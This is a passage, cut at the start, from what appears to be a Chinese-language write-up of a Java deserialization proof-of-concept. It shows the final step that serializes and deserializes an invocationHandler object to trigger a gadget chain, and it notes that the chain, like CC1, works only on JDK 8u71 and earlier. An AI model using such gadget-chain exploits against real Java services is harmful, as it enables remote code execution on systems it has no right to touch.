        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(invocationHandler);
        objectOutputStream.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = (Object) objectInputStream.readObject();
    }
}

输出看看:

最后

这个POCCC1一样有个通病,就是只支持jdk8u71及之前的版本。